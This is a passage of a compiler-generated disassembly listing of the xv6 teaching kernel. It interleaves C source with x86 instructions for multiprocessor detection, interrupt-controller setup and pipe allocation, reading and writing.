(%ebx),%eax 80102ecf: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp) 80102ed6: 00 80102ed7: 89 04 24 mov %eax,(%esp) 80102eda: e8 e1 f8 ff ff call 801027c0 <lapicstartap> 80102edf: 90 nop // wait for cpu to finish mpmain() while(c->started == 0) 80102ee0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102ee6: 85 c0 test %eax,%eax 80102ee8: 74 f6 je 80102ee0 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102eea: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102ef1: 00 00 00 80102ef4: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102efa: 05 80 27 11 80 add $0x80112780,%eax 80102eff: 39 c3 cmp %eax,%ebx 80102f01: 72 9d jb 80102ea0 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102f03: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp) 80102f0a: 8e 80102f0b: c7 04 24 00 00 40 80 movl $0x80400000,(%esp) 80102f12: e8 49 f5 ff ff call 80102460 <kinit2> userinit(); // first user process 80102f17: e8 c4 07 00 00 call 801036e0 <userinit> mpmain(); // finish this processor's setup 80102f1c: e8 6f fe ff ff call 80102d90 <mpmain> 80102f21: 66 90 xchg %ax,%ax 80102f23: 66 90 xchg %ax,%ax 80102f25: 66 90 xchg %ax,%ax 80102f27: 66 90 xchg %ax,%ax 80102f29: 66 90 xchg %ax,%ax 80102f2b: 66 90 xchg %ax,%ax 80102f2d: 66 90 xchg %ax,%ax 80102f2f: 90 nop 80102f30 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f30: 55 push %ebp 80102f31: 89 e5 mov %esp,%ebp 80102f33: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f34: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102f3a: 53 push %ebx e = addr+len; 80102f3b: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102f3e: 83 ec 10 sub $0x10,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102f41: 39 de cmp %ebx,%esi 80102f43: 73 3c jae 80102f81 <mpsearch1+0x51> 80102f45: 8d 76 00 lea 0x0(%esi),%esi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f48: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102f4f: 00 80102f50: c7 44 24 04 98 73 10 movl $0x80107398,0x4(%esp) 80102f57: 80 80102f58: 89 34 24 mov %esi,(%esp) 80102f5b: e8 80 13 00 00 call 801042e0 <memcmp> 80102f60: 85 c0 test %eax,%eax 80102f62: 75 16 jne 80102f7a <mpsearch1+0x4a> 80102f64: 31 c9 xor %ecx,%ecx 80102f66: 31 d2 xor %edx,%edx sum += addr[i]; 80102f68: 0f b6 04 16 movzbl (%esi,%edx,1),%eax for(i=0; i<len; i++) 80102f6c: 83 c2 01 add $0x1,%edx sum += addr[i]; 80102f6f: 01 c1 add %eax,%ecx for(i=0; i<len; i++) 80102f71: 83 fa 10 cmp $0x10,%edx 80102f74: 75 f2 jne 80102f68 <mpsearch1+0x38> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f76: 84 c9 test %cl,%cl 80102f78: 74 10 je 80102f8a <mpsearch1+0x5a> for(p = addr; p < e; p += sizeof(struct mp)) 80102f7a: 83 c6 10 add $0x10,%esi 80102f7d: 39 f3 cmp %esi,%ebx 80102f7f: 77 c7 ja 80102f48 <mpsearch1+0x18> return (struct mp*)p; return 0; } 80102f81: 83 c4 10 add $0x10,%esp return 0; 80102f84: 31 c0 xor %eax,%eax } 80102f86: 5b pop %ebx 80102f87: 5e pop %esi 80102f88: 5d pop %ebp 80102f89: c3 ret 80102f8a: 83 c4 10 add $0x10,%esp 80102f8d: 89 f0 mov %esi,%eax 80102f8f: 5b pop %ebx 80102f90: 5e pop %esi 80102f91: 5d pop %ebp 80102f92: c3 ret 80102f93: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102f99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102fa0 <mpinit>: return conf; } void mpinit(void) { 80102fa0: 55 push %ebp 80102fa1: 89 e5 mov %esp,%ebp 80102fa3: 57 push %edi 80102fa4: 56 push %esi 80102fa5: 53 push %ebx 80102fa6: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80102fa9: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80102fb0: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80102fb7: c1 e0 08 shl $0x8,%eax 80102fba: 09 d0 or %edx,%eax 80102fbc: c1 e0 04 shl $0x4,%eax 80102fbf: 85 c0 test %eax,%eax 80102fc1: 75 1b jne 80102fde <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80102fc3: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 80102fca: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80102fd1: c1 e0 08 shl $0x8,%eax 80102fd4: 09 d0 or %edx,%eax 80102fd6: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80102fd9: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 80102fde: ba 00 04 00 00 mov $0x400,%edx 80102fe3: e8 48 ff ff ff call 80102f30 <mpsearch1> 80102fe8: 85 c0 test %eax,%eax 80102fea: 89 c7 mov %eax,%edi 80102fec: 0f 84 22 01 00 00 je 80103114 <mpinit+0x174> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80102ff2: 8b 77 04 mov 0x4(%edi),%esi 80102ff5: 85 f6 test %esi,%esi 80102ff7: 0f 84 30 01 00 00 je 8010312d <mpinit+0x18d> conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102ffd: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax if(memcmp(conf, "PCMP", 4) != 0) 80103003: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 8010300a: 00 8010300b: c7 44 24 04 9d 73 10 movl $0x8010739d,0x4(%esp) 80103012: 80 80103013: 89 04 24 mov %eax,(%esp) conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103016: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80103019: e8 c2 12 00 00 call 801042e0 <memcmp> 8010301e: 85 c0 test %eax,%eax 80103020: 0f 85 07 01 00 00 jne 8010312d <mpinit+0x18d> if(conf->version != 1 && conf->version != 4) 80103026: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax 8010302d: 3c 04 cmp $0x4,%al 8010302f: 0f 85 0b 01 00 00 jne 80103140 <mpinit+0x1a0> if(sum((uchar*)conf, conf->length) != 0) 80103035: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax for(i=0; i<len; i++) 8010303c: 85 c0 test %eax,%eax 8010303e: 74 21 je 80103061 <mpinit+0xc1> sum = 0; 80103040: 31 c9 xor %ecx,%ecx for(i=0; i<len; i++) 80103042: 31 d2 xor %edx,%edx 80103044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 80103048: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx 8010304f: 80 for(i=0; i<len; i++) 80103050: 83 c2 01 add $0x1,%edx sum += addr[i]; 80103053: 01 d9 add %ebx,%ecx for(i=0; i<len; i++) 80103055: 39 d0 cmp %edx,%eax 80103057: 7f ef jg 80103048 <mpinit+0xa8> if(sum((uchar*)conf, conf->length) != 0) 80103059: 84 c9 test %cl,%cl 8010305b: 0f 85 cc 00 00 00 jne 8010312d <mpinit+0x18d> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103061: 8b 45 e4 mov -0x1c(%ebp),%eax 80103064: 85 c0 test %eax,%eax 80103066: 0f 84 c1 00 00 00 je 8010312d <mpinit+0x18d> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 8010306c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax ismp = 1; 80103072: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; 80103077: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010307c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx 80103083: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax 80103089: 03 55 e4 add -0x1c(%ebp),%edx 8010308c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103090: 39 c2 cmp %eax,%edx 80103092: 76 1b jbe 801030af <mpinit+0x10f> 80103094: 0f b6 08 movzbl (%eax),%ecx switch(*p){ 80103097: 80 f9 04 cmp $0x4,%cl 8010309a: 77 74 ja 80103110 <mpinit+0x170> 8010309c: ff 24 8d dc 73 10 80 jmp *-0x7fef8c24(,%ecx,4) 801030a3: 90 nop 801030a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 801030a8: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801030ab: 39 c2 cmp %eax,%edx 801030ad: 77 e5 ja 80103094 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 801030af: 85 db test %ebx,%ebx 801030b1: 0f 84 93 00 00 00 je 8010314a <mpinit+0x1aa> panic("Didn't find a suitable machine"); if(mp->imcrp){ 801030b7: 80 7f 0c 00 cmpb $0x0,0xc(%edi) 801030bb: 74 12 je 801030cf <mpinit+0x12f> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030bd: ba 22 00 00 00 mov $0x22,%edx 801030c2: b8 70 00 00 00 mov $0x70,%eax 801030c7: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801030c8: b2 23 mov $0x23,%dl 801030ca: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 801030cb: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030ce: ee out %al,(%dx) } } 801030cf: 83 c4 1c add $0x1c,%esp 801030d2: 5b pop %ebx 801030d3: 5e pop %esi 801030d4: 5f pop %edi 801030d5: 5d pop %ebp 801030d6: c3 ret 801030d7: 90 nop if(ncpu < NCPU) { 801030d8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 801030de: 83 fe 07 cmp $0x7,%esi 801030e1: 7f 17 jg 801030fa <mpinit+0x15a> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030e3: 0f b6 48 01 movzbl 0x1(%eax),%ecx 801030e7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi ncpu++; 801030ed: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030f4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi) p += sizeof(struct mpproc); 801030fa: 83 c0 14 add $0x14,%eax continue; 801030fd: eb 91 jmp 80103090 <mpinit+0xf0> 801030ff: 90 nop ioapicid = ioapic->apicno; 80103100: 0f b6 48 01 movzbl 0x1(%eax),%ecx p += sizeof(struct mpioapic); 80103104: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 80103107: 88 0d 60 27 11 80 mov %cl,0x80112760 continue; 8010310d: eb 81 jmp 80103090 <mpinit+0xf0> 8010310f: 90 nop ismp = 0; 80103110: 31 db xor %ebx,%ebx 80103112: eb 83 jmp 80103097 <mpinit+0xf7> return mpsearch1(0xF0000, 0x10000); 80103114: ba 00 00 01 00 mov $0x10000,%edx 80103119: b8 00 00 0f 00 mov $0xf0000,%eax 8010311e: e8 0d fe ff ff call 80102f30 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103123: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 80103125: 89 c7 mov %eax,%edi if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103127: 0f 85 c5 fe ff ff jne 80102ff2 <mpinit+0x52> panic("Expect to run on an SMP"); 8010312d: c7 04 24 a2 73 10 80 movl $0x801073a2,(%esp) 80103134: e8 27 d2 ff ff call 80100360 <panic> 80103139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(conf->version != 1 && conf->version != 4) 80103140: 3c 01 cmp $0x1,%al 80103142: 0f 84 ed fe ff ff je 80103035 <mpinit+0x95> 80103148: eb e3 jmp 8010312d <mpinit+0x18d> panic("Didn't find a suitable machine"); 8010314a: c7 04 24 bc 73 10 80 movl $0x801073bc,(%esp) 80103151: e8 0a d2 ff ff call 80100360 <panic> 80103156: 66 90 xchg %ax,%ax 80103158: 66 90 xchg %ax,%ax 8010315a: 66 90 xchg %ax,%ax 8010315c: 66 90 xchg %ax,%ax 8010315e: 66 90 xchg %ax,%ax 80103160 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103160: 55 push %ebp 80103161: ba 21 00 00 00 mov $0x21,%edx 80103166: 89 e5 mov %esp,%ebp 80103168: b8 ff ff ff ff mov $0xffffffff,%eax 8010316d: ee out %al,(%dx) 8010316e: b2 a1 mov $0xa1,%dl 80103170: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103171: 5d pop %ebp 80103172: c3 ret 80103173: 66 90 xchg %ax,%ax 80103175: 66 90 xchg %ax,%ax 80103177: 66 90 xchg %ax,%ax 80103179: 66 90 xchg %ax,%ax 8010317b: 66 90 xchg %ax,%ax 8010317d: 66 90 xchg %ax,%ax 8010317f: 90 nop 80103180 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103180: 55 push %ebp 80103181: 89 e5 mov %esp,%ebp 80103183: 57 push %edi 80103184: 56 push %esi 80103185: 53 push %ebx 80103186: 83 ec 1c sub $0x1c,%esp 80103189: 8b 75 08 mov 0x8(%ebp),%esi 8010318c: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 8010318f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103195: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010319b: e8 d0 db ff ff call 80100d70 <filealloc> 801031a0: 85 c0 test %eax,%eax 801031a2: 89 06 mov %eax,(%esi) 801031a4: 0f 84 a4 00 00 00 je 8010324e <pipealloc+0xce> 801031aa: e8 c1 db ff ff call 80100d70 <filealloc> 801031af: 85 c0 test %eax,%eax 801031b1: 89 03 mov %eax,(%ebx) 801031b3: 0f 84 87 00 00 00 je 80103240 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 801031b9: e8 f2 f2 ff ff call 801024b0 <kalloc> 801031be: 85 c0 test %eax,%eax 801031c0: 89 c7 mov %eax,%edi 801031c2: 74 7c je 80103240 <pipealloc+0xc0> goto bad; p->readopen = 1; 801031c4: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801031cb: 00 00 00 p->writeopen = 1; 801031ce: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801031d5: 00 00 00 p->nwrite = 0; 801031d8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801031df: 00 00 00 p->nread = 0; 801031e2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801031e9: 00 00 00 initlock(&p->lock, "pipe"); 801031ec: 89 04 24 mov %eax,(%esp) 801031ef: c7 44 24 04 f0 73 10 movl $0x801073f0,0x4(%esp) 801031f6: 80 801031f7: e8 64 0e 00 00 call 80104060 <initlock> (*f0)->type = FD_PIPE; 801031fc: 8b 06 mov (%esi),%eax 801031fe: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103204: 8b 06 mov (%esi),%eax 80103206: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 8010320a: 8b 06 mov (%esi),%eax 8010320c: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80103210: 8b 06 mov (%esi),%eax 80103212: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 80103215: 8b 03 mov (%ebx),%eax 80103217: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 8010321d: 8b 03 mov (%ebx),%eax 8010321f: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103223: 8b 03 mov (%ebx),%eax 80103225: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103229: 8b 03 mov (%ebx),%eax return 0; 8010322b: 31 db xor %ebx,%ebx (*f1)->pipe = p; 8010322d: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103230: 83 c4 1c add $0x1c,%esp 80103233: 89 d8 mov %ebx,%eax 80103235: 5b pop %ebx 80103236: 5e pop %esi 80103237: 5f pop %edi 80103238: 5d pop %ebp 80103239: c3 ret 8010323a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*f0) 80103240: 8b 06 mov (%esi),%eax 80103242: 85 c0 test %eax,%eax 80103244: 74 08 je 8010324e <pipealloc+0xce> fileclose(*f0); 80103246: 89 04 24 mov %eax,(%esp) 80103249: e8 e2 db ff ff call 80100e30 <fileclose> if(*f1) 8010324e: 8b 03 mov (%ebx),%eax return -1; 80103250: bb ff ff ff ff mov $0xffffffff,%ebx if(*f1) 80103255: 85 c0 test %eax,%eax 80103257: 74 d7 je 80103230 <pipealloc+0xb0> fileclose(*f1); 80103259: 89 04 24 mov %eax,(%esp) 8010325c: e8 cf db ff ff call 80100e30 <fileclose> } 80103261: 83 c4 1c add $0x1c,%esp 80103264: 89 d8 mov %ebx,%eax 80103266: 5b pop %ebx 80103267: 5e pop %esi 80103268: 5f pop %edi 80103269: 5d pop %ebp 8010326a: c3 ret 8010326b: 90 nop 8010326c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103270 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103270: 55 push %ebp 80103271: 89 e5 mov %esp,%ebp 80103273: 56 push %esi 80103274: 53 push %ebx 80103275: 83 ec 10 sub $0x10,%esp 80103278: 8b 5d 08 mov 0x8(%ebp),%ebx 8010327b: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010327e: 89 1c 24 mov %ebx,(%esp) 80103281: e8 ca 0e 00 00 call 80104150 <acquire> if(writable){ 80103286: 85 f6 test %esi,%esi 80103288: 74 3e je 801032c8 <pipeclose+0x58> p->writeopen = 0; wakeup(&p->nread); 8010328a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax p->writeopen = 0; 80103290: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 80103297: 00 00 00 wakeup(&p->nread); 8010329a: 89 04 24 mov %eax,(%esp) 8010329d: e8 fe 0a 00 00 call 80103da0 <wakeup> } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 801032a2: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 801032a8: 85 d2 test %edx,%edx 801032aa: 75 0a jne 801032b6 <pipeclose+0x46> 801032ac: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 801032b2: 85 c0 test %eax,%eax 801032b4: 74 32 je 801032e8 <pipeclose+0x78> release(&p->lock); kfree((char*)p); } else release(&p->lock); 801032b6: 89 5d 08 mov %ebx,0x8(%ebp) } 801032b9: 83 c4 10 add $0x10,%esp 801032bc: 5b pop %ebx 801032bd: 5e pop %esi 801032be: 5d pop %ebp release(&p->lock); 801032bf: e9 7c 0f 00 00 jmp 80104240 <release> 801032c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 801032c8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax p->readopen = 0; 801032ce: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801032d5: 00 00 00 wakeup(&p->nwrite); 801032d8: 89 04 24 mov %eax,(%esp) 801032db: e8 c0 0a 00 00 call 80103da0 <wakeup> 801032e0: eb c0 jmp 801032a2 <pipeclose+0x32> 801032e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&p->lock); 801032e8: 89 1c 24 mov %ebx,(%esp) 801032eb: e8 50 0f 00 00 call 80104240 <release> kfree((char*)p); 801032f0: 89 5d 08 mov %ebx,0x8(%ebp) } 801032f3: 83 c4 10 add $0x10,%esp 801032f6: 5b pop %ebx 801032f7: 5e pop %esi 801032f8: 5d pop %ebp kfree((char*)p); 801032f9: e9 02 f0 ff ff jmp 80102300 <kfree> 801032fe: 66 90 xchg %ax,%ax 80103300 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 80103300: 55 push %ebp 80103301: 89 e5 mov %esp,%ebp 80103303: 57 push %edi 80103304: 56 push %esi 80103305: 53 push %ebx 80103306: 83 ec 1c sub $0x1c,%esp 80103309: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 8010330c: 89 1c 24 mov %ebx,(%esp) 8010330f: e8 3c 0e 00 00 call 80104150 <acquire> for(i = 0; i < n; i++){ 80103314: 8b 4d 10 mov 0x10(%ebp),%ecx 80103317: 85 c9 test %ecx,%ecx 80103319: 0f 8e b2 00 00 00 jle 801033d1 <pipewrite+0xd1> 8010331f: 8b 4d 0c mov 0xc(%ebp),%ecx while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103322: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 80103328: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 8010332e: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103334: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103337: 03 4d 10 add 0x10(%ebp),%ecx 8010333a: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 8010333d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 80103343: 81 c1 00 02 00 00 add $0x200,%ecx 80103349: 39 c8 cmp %ecx,%eax 8010334b: 74 38 je 80103385 <pipewrite+0x85> 8010334d: eb 55 jmp 801033a4 <pipewrite+0xa4> 8010334f: 90 nop if(p->readopen == 0 || myproc()->killed){ 80103350: e8 5b 03 00 00 call 801036b0 <myproc> 80103355: 8b 40 24 mov 0x24(%eax),%eax 80103358: 85 c0 test %eax,%eax 8010335a: 75 33 jne 8010338f <pipewrite+0x8f> wakeup(&p->nread); 8010335c: 89 3c 24 mov %edi,(%esp) 8010335f: e8 3c 0a 00 00 call 80103da0 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103364: 89 5c 24 04 mov %ebx,0x4(%esp) 80103368: 89 34 24 mov %esi,(%esp) 8010336b: e8 a0 08 00 00 call 80103c10 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103370: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103376: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010337c: 05 00 02 00 00 add $0x200,%eax 80103381: 39 c2 cmp %eax,%edx 80103383: 75 23 jne 801033a8 <pipewrite+0xa8> if(p->readopen == 0 || myproc()->killed){ 80103385: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010338b: 85 d2 test %edx,%edx 8010338d: 75 c1 jne 80103350 <pipewrite+0x50> release(&p->lock); 8010338f: 89 1c 24 mov %ebx,(%esp) 80103392: e8 a9 0e 00 00 call 80104240 <release> return -1; 80103397: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 8010339c: 83 c4 1c add $0x1c,%esp 8010339f: 5b pop %ebx 801033a0: 5e pop %esi 801033a1: 5f pop %edi 801033a2: 5d pop %ebp 801033a3: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801033a4: 89 c2 mov %eax,%edx 801033a6: 66 90 xchg %ax,%ax p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801033a8: 8b 4d e4 mov -0x1c(%ebp),%ecx 801033ab: 8d 42 01 lea 0x1(%edx),%eax 801033ae: 81 e2 ff 01 00 00 and $0x1ff,%edx 801033b4: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 801033ba: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 801033be: 0f b6 09 movzbl (%ecx),%ecx 801033c1: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 801033c5: 8b 4d e4 mov -0x1c(%ebp),%ecx 801033c8: 3b 4d e0 cmp -0x20(%ebp),%ecx 801033cb: 0f 85 6c ff ff ff jne 8010333d <pipewrite+0x3d> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801033d1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801033d7: 89 04 24 mov %eax,(%esp) 801033da: e8 c1 09 00 00 call 80103da0 <wakeup> release(&p->lock); 801033df: 89 1c 24 mov %ebx,(%esp) 801033e2: e8 59 0e 00 00 call 80104240 <release> return n; 801033e7: 8b 45 10 mov 0x10(%ebp),%eax 801033ea: eb b0 jmp 8010339c <pipewrite+0x9c> 801033ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801033f0 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 801033f0: 55 push %ebp 801033f1: 89 e5 mov %esp,%ebp 801033f3: 57 push %edi 801033f4: 56 push %esi 801033f5: 53 push %ebx 801033f6: 83 ec 1c sub $0x1c,%esp 801033f9: 8b 75 08 mov 0x8(%ebp),%esi 801033fc: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 801033ff: 89 34 24 mov %esi,(%esp) 80103402: e8 49 0d 00 00 call 80104150 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103407: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010340d: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103413: 75 5b jne 80103470 <piperead+0x80> 80103415: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 8010341b: 85 db test %ebx,%ebx 8010341d: 74 51 je 80103470 <piperead+0x80> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 8010341f: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 80103425: eb 25 jmp 8010344c <piperead+0x5c> 80103427: 90 nop 80103428: 89 74 24 04 mov %esi,0x4(%esp) 8010342c: 89 1c 24 mov %ebx,(%esp) 8010342f: e8 dc 07 00 00 call 80103c10 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103434: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010343a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103440: 75 2e jne 80103470 <piperead+0x80> 80103442: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103448: 85 d2 test %edx,%edx 8010344a: 74 24 je 80103470 <piperead+0x80> if(myproc()->killed){ 8010344c: e8 5f 02 00 00 call 801036b0 <myproc> 80103451: 8b 48 24 mov 0x24(%eax),%ecx 80103454: 85 c9 test %ecx,%ecx 80103456: 74 d0 je 80103428 <piperead+0x38> release(&p->lock); 80103458: 89 34 24 mov %esi,(%esp) 8010345b: e8 e0 0d 00 00 call 80104240 <release> addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103460: 83 c4 1c add $0x1c,%esp return -1; 80103463: b8 ff ff ff ff mov $0xffffffff,%eax } 80103468: 5b pop %ebx 80103469: 5e pop %esi 8010346a: 5f pop %edi 8010346b: 5d pop %ebp 8010346c: c3 ret 8010346d: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < n; i++){ //DOC: piperead-copy 80103470: 8b 55 10 mov 0x10(%ebp),%edx if(p->nread == p->nwrite) 80103473: 31 db xor %ebx,%ebx for(i = 0; i < n; i++){ //DOC: piperead-copy 80103475: 85 d2 test %edx,%edx 80103477: 7f 2b jg 801034a4 <piperead+0xb4> 80103479: eb 31 jmp 801034ac <piperead+0xbc> 8010347b: 90 nop 8010347c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi addr[i] = p->data[p->nread++ % PIPESIZE]; 80103480: 8d 48 01 lea 0x1(%eax),%ecx 80103483: 25 ff 01 00 00 and $0x1ff,%eax 80103488: 89 8e 34 02 00 00 mov %ecx,0x234(%esi) 8010348e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax 80103493: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 80103496: 83 c3 01 add $0x1,%ebx 80103499: 3b 5d 10 cmp 